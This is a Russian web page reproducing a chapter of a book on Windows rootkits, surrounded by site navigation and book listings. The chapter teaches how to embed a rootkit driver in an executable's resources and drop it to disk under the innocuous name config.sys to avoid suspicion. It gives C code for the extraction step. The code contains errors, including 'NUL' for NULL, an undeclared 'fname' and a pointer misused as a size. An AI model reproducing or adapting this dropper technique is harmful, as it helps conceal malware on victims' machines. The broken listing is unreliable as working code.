Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

Глава 13. Секреты PE-файлов

Исполнимые файлы формата PE (сам формат подробно описан в приложении) могут содержать несколько секций, предназначенных для хранения двоичных файлов. Секции можно представить как каталог, позволяющий хранить различные объекты, например, графические файлы. Это очень удобно. Представьте, что вашей программе нужно несколько картинок, например, "большой" и "маленький" логотипы вашей компании. Большой отображается при загрузке программы и в окне "О программе", а маленький - виден постоянно при работе с программой. Кроме этих двух файлов вашей программе больше не нужны никакие дополнительные файлы. Теперь представим, что пользователь скопировал только exe-файл (а может, просто намеренно удалил графические файлы) - логотипов нет. Что делать программе? Не запускаться, сославшись на отсутствие необходимых файлов? Но, если разобраться, не такие уж они и не необходимые. С другой стороны, работать без логотипа тоже не хочется.

Выход можно найти, если поместить в exe-файл эти два файла и загружать их не с жесткого диска, а из исполнимого файла? Удобно? Конечно!

Но ведь "карманы" (или ресурсы) PE-файла мы можем использовать не только для хранения графических файлов. Мы можем свободно записать туда любой двоичный файл. Вы, наверное, уже догадались, к чему я веду? Правильно, можно создать загрузчик руткита, содержащий sys-файл в одном ресурсы и параметры конфигурации руткита - в другом. И при этом у вас будет всего лишь один исполнимый файл, а не набор файлов - exe (загрузчик), sys (драйвер) и ini (конфигурация).

Давайте рассмотрим, как будет работать наша программа. Внутри exe-файла будет записан sys-файл. Для упрощения кода ограничимся только кодом драйвера - без файла конфигурации. Данный код будет прочитан в память, а затем записан на диск под безобидным именем config.sys (чтобы никто ничего не заподозрил). После этого его можно будет загрузить, как обычно (в предыдущем пункте мы рассмотрели целых два способа загрузки!).

Функция, ответственная за извлечение драйвера из exe-файла будет называться extract_sysfile. Ей нужно будет передать один параметр - имя ресурса.

bool extract_sysfile(char *res_name)

{

HRSRC resource;

HGLOBAL     resource_global;

unsigned char * file_ptr;

unsigned long * f_size;

HANDLE f_handle;

// функции FindResource нужно передать имя файла ресурса (в данном

// случае NULL, поскольку мы будем загружать из exe-файла,

// имя ресурса и тип ресурса

resource = FindResource(NUL, res_name, "BINARY");

if (!resource)

{

// можно вывести сообщение о том, что ресурс не найден

return false;

}

// загружаем ресурс

resource_global = LoadResource(NULL, resource);

if (!resource_global)

{

// можно вывести сообщение о том, что произошла ошибка при загрузке ресурса

return false;

}

f_size = SizeOfResource(NULL, resource);

file_ptr = (unsigned char *)LockResource(resource_global);

if (!file_ptr) return false;

// начинаем копирование на жесткий диск

char _fname[64];

// имя файла - "имя_ресурса.sys". Можете просто присвоить значение config.sys

snprintf(_fname, 62, "%s.sys", res_name);

f_handle = CreateFile(fname, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

if (INVALID_HANDLE_VALUE == f_handle)

{

int error = GetLastError();

if ((error == ERROR_ALREADY_EXISTS) || (error == 32))

{

// все в порядке - просто файл уже существует

return true;

}

printf("Cannot to extract %s . Error code = %d", _fname, error);

return false;

}

// записываем ресурс на диск

while (f_size--)

{

unsigned long wr;

WriteFile(f_handle, file_ptr, 1, &wr, NULL);

file_ptr++;

}

CloseHandle(f_handle);

return true;

}

На главную

Мне нравится!

Сегодня: 16/01

Именинники:  Андрюха aka host

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Ubuntu 10. Библия пользователяUbuntu 10. Библия пользователя
Книга Ubuntu 10. Библия пользователя представляет собой полное руководство по установке, настройке и использованию Linux-дистрибутива Ubuntu 10. Отличная книга, твердый переплет                                                                                                                            

Linux. От новичка к профессионалу 4Linux. От новичка к профессионалу 4
Даны ответы на все вопросы, возникающие при работе с Linux: от установки и настройки этой ОС до настройки сервера на базе Linux. Материал книги максимально охватывает все сферы применения Linux: от запуска Windows-игр под управлением Linux до настрой                                                   

Linux-сервер своими руками, изд. 1-4Linux-сервер своими руками, изд. 1-4
Все о настройке Linux-сервера на базе дистрибутивов Linux Mandriva и Fedora Core. В четвертом издании книга была немного дополнена и существенно обновлена. Книга давно устарела. Рекомендую "Серверное примерение" (издательство БХВ)                                                                       

PHP

Самоучитель PHP 5. Книга + CDСамоучитель PHP 5. Книга + CD
Долгожданное новое издание PHP5 с CD, на котором вы найдете листинги из книги и дополнительное программное обеспечение (Apache, PHP, MySQL, редакторы кода). Книга не поддерживается, устарела                                                                                                               

Современный сайт на РНР и JavaScript (+CD)Современный сайт на РНР и JavaScript (+CD)
Эта книга о PHP и не только. С помощью PHP вы легко создадите сайт любого масштаба — от небольшой личной странички до сайта уровня предприятия со сложной панелью управления.                                                                                                                                

PHP и MySQL. Разработка веб-приложений. 5-е изд.PHP и MySQL. Разработка веб-приложений. 5-е изд.
Даны начала программирования на PHP: установка и настройка Apache, PHP и MySQL, а также кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP. Рассмотрено создание собственного движка сайта и ряда доп                                                   

Интернет/CMS

Интернет: от Интернет: от "чайника" к пользователю. - 3-е изд
Книга предназначена для начинающего домашнего пользователя, поможет ему самостоятельно освоить основы Интернета и начать уверенную работу. Рассмотрены все аспекты работы в Интернете: выбор подключения, настройка подключения обычного, ADSL- и 3G-модем                                                   

Drupal 7. Руководство пользователяDrupal 7. Руководство пользователя
Эта книга — простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Drupal версии 7.0                                                                                                                                                                       

Выбираем лучший бесплатный движок для сайта. CMS Joomla! и Drupal Выбираем лучший бесплатный движок для сайта. CMS Joomla! и Drupal
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной CMS                                                                                                                  

Компьютер/Windows

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Англо-русский словарь компьютерных терминов, изд. 1-3Англо-русский словарь компьютерных терминов, изд. 1-3
Словарь-справочник включает в себя все основные термины, встречающиеся при работе с компьютером, программами и компьютерной документацией.                                                                                                                                                                   

Самоучитель работы на компьютереСамоучитель работы на компьютере
Это самый полный, доступный и вместе с тем краткий самоучитель работы на компьютере.Проработка этого самоучителя - залог вашей компьютерной грамотности. Вы узнаете самое главное о выборе конфигурации ПК...                                                                                                

Сети

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Безопасность

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Автомобили

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Что делать, чтобы не надули в автосервисе. Советы и рекомендацииЧто делать, чтобы не надули в автосервисе. Советы и рекомендации
Вы недавно приобрели автомобиль или уже имеете водительский стаж, но при этом особо не вникаете в устройство автомобиля?                                                                                                                                                                                     

Что делать, чтобы не надули в автосервисе. Советы и рекомендацииЧто делать, чтобы не надули в автосервисе. Советы и рекомендации
Вы недавно приобрели автомобиль или уже имеете водительский стаж, но при этом особо не вникаете в устройство автомобиля?                                                                                                                                                                                     

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Статьи

Rambler's Top100